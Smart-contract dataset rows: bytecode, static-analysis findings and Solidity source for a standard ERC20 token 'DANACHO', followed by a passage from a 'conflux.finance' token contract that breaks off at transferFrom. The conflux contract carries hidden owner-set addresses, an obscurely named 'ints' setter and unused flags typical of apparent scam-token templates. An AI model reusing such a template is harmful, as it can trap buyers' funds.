160a060020a03331660009081526007602052604090205482901015610be157600080fd5b5060005b8451811015610ce257610c47848281518110610bfd57fe5b9060200190602002015160076000888581518110610c1757fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611a8f16565b60076000878481518110610c5757fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610c8757fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611eb2833981519152868481518110610cbf57fe5b9060200190602002015160405190815260200160405180910390a3600101610be5565b600160a060020a033316600090815260076020526040902054610d0b908363ffffffff611a7d16565b33600160a060020a0316600090815260076020526040902055506001949350505050565b600160a060020a031660009081526007602052604090205490565b600154600160a060020a031681565b60008060008084118015610d6e575060008551115b8015610d935750600160a060020a03331660009081526008602052604090205460ff16155b8015610db65750600160a060020a03331660009081526009602052604090205442115b1515610dc157600080fd5b610dd5846305f5e10063ffffffff611a9e16565b9350610de98551859063ffffffff611a9e16565b600160a060020a03331660009081526007602052604090205490925082901015610e1257600080fd5b5060005b8451811015610ce257848181518110610e2b57fe5b90602001906020020151600160a060020a031615801590610e80575060086000868381518110610e5757fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ec5575060096000868381518110610e9757fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610ed057600080fd5b610ee48460076000888581518110610c1757fe5b60076000878481518110610ef457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610f2457fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611eb28339815191528660405190815260200160405180910390a3600101610e16565b610f72611e9f565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108875780601f1061085c57610100808354040283529160200191610887565b60015433600160a060020a03908116911614610ff857600080fd5b6000811180156110215750600160a060020a038216600090815260076020526040902054819010155b151561102c57600080fd5b600160a060020a03821660009081526007602052604090205461104f9082611a7d565b600160a060020a0383166000908152600760205260409020556005546110759082611a7d565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b60006110c3611e9f565b6000831180156110ec5750600160a060020a03331660009081526008602052604090205460ff16155b80156111115750600160a060020a03841660009081526008602052604090205460ff16155b80156111345750600160a060020a03331660009081526009602052604090205442115b80156111575750600160a060020a03841660009081526009602052604090205442115b151561116257600080fd5b61116b84611ac9565b156111825761117b848483611ad1565b915061118d565b61117b848483611d28565b5092915050565b60086020526000908152604090205460ff1681565b600080831180156111d35750600160a060020a03331660009081526008602052604090205460ff16155b80156111f85750600160a060020a03841660009081526008602052604090205460ff16155b801561121b5750600160a060020a03331660009081526009602052604090205442115b801561123e5750600160a060020a03841660009081526009602052604090205442115b151561124957600080fd5b61125284611ac9565b1561126957611262848484611ad1565b9050611274565b611262848484611d28565b9392505050565b60015460009033600160a060020a0390811691161461129957600080fd5b60008351116112a757600080fd5b5060005b82518110156109fb578281815181106112c057fe5b90602001906020020151600160a060020a031615156112de57600080fd5b81600860008584815181106112ef57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061132d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016112ab565b60096020526000908152604090205481565b60015433600160a060020a039081169116146113aa57600080fd5b600655565b6001546000908190819033600160a060020a039081169116146113d157600080fd5b600085511180156113e3575083518551145b15156113ee57600080fd5b5060009050805b845181101561167357600084828151811061140c57fe5b90602001906020020151118015611440575084818151811061142a57fe5b90602001906020020151600160a060020a031615155b801561148057506008600086838151811061145757fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156114c557506009600086838151811061149757fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156114d057600080fd5b6114f38482815181106114df57fe5b906020019060200201516305f5e100611a9e565b8482815181106114ff57fe5b6020908102909101015283818151811061151557fe5b906020019060200201516007600087848151811061152f57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002054101561155e57600080fd5b6115b76007600087848151811061157157fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020548583815181106115a857fe5b90602001906020020151611a7d565b600760008784815181106115c757fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561160a828583815181106115fb57fe5b90602001906020020151611a8f565b915033600160a060020a031685828151811061162257fe5b90602001906020020151600160a060020a0316600080516020611eb283398151915286848151811061165057fe5b9060200190602002015160405190815260200160405180910390a36001016113f5565b600160a060020a033316600090815260076020526040902054610d0b9083611a8f565b60015433600160a060020a039081169116146116b157600080fd5b600160a060020a03811615156116c657600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000808411801561175b5750600160a060020a03331660009081526008602052604090205460ff16155b80156117805750600160a060020a03851660009081526008602052604090205460ff16155b80156117a35750600160a060020a03331660009081526009602052604090205442115b80156117c65750600160a060020a03851660009081526009602052604090205442115b15156117d157600080fd5b6117da85611ac9565b15611a6757600160a060020a0333166000908152600760205260409020548490101561180557600080fd5b600160a060020a0333166000908152600760205260409020546118289085611a7d565b600160a060020a0333811660009081526007602052604080822093909355908716815220546118579085611a8f565b600160a060020a0386166000818152600760205260408082209390935590918490518082805190602001908083835b602083106118a55780518252601f199092019160209182019101611886565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561193657808201518382015260200161191e565b50505050905090810190601f1680156119635780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561198757fe5b826040518082805190602001908083835b602083106119b75780518252601f199092019160209182019101611998565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611eb28339815191528660405190815260200160405180910390a3506001611a75565b611a72858585611d28565b90505b949350505050565b600082821115611a8957fe5b50900390565b60008282018381101561127457fe5b600080831515611ab1576000915061118d565b50828202828482811515611ac157fe5b041461127457fe5b6000903b1190565b600160a060020a033316600090815260076020526040812054819084901015611af957600080fd5b600160a060020a033316600090815260076020526040902054611b1c9085611a7d565b600160a060020a033381166000908152600760205260408082209390935590871681522054611b4b9085611a8f565b600160a060020a03861660008181526007602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611be4578082015183820152602001611bcc565b50505050905090810190601f168015611c115780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611c3157600080fd5b6102c65a03f11515611c4257600080fd5b505050826040518082805190602001908083835b60208310611c755780518252601f199092019160209182019101611c56565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611eb28339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a03331660009081526007602052604081205483901015611d4e57600080fd5b600160a060020a033316600090815260076020526040902054611d719084611a7d565b600160a060020a033381166000908152600760205260408082209390935590861681522054611da09084611a8f565b600160a060020a03851660009081526007602052604090819020919091558290518082805190602001908083835b60208310611ded5780518252601f199092019160209182019101611dce565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611eb28339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582096345b6e07a8b6f091ebc38d84241703d81aa49b1cee1e236e09b1a46de35ab00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,934 |
0x9256d3de679c96327dd0fca0b64f4b9de3ab95c5
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'DANACHO' contract
//
// Symbol : NAC
// Name : DANACHO
// Total supply: 10 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract DANACHO is BurnableToken {
string public constant name = "DANACHO";
string public constant symbol = "NAC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600781526020017f44414e4143484f0000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6402540be4000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4e4143000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220b221d5a22ac6a46fa17293a69741cdf97babc1be9193bf47c942fbc80650698164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,935 |
0xf0ee83b9fdc0072806f8348699000700347ab356
|
//conflux.finance
//conflux.finance
//conflux.finance
//Important things cannot be underscored too much.
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
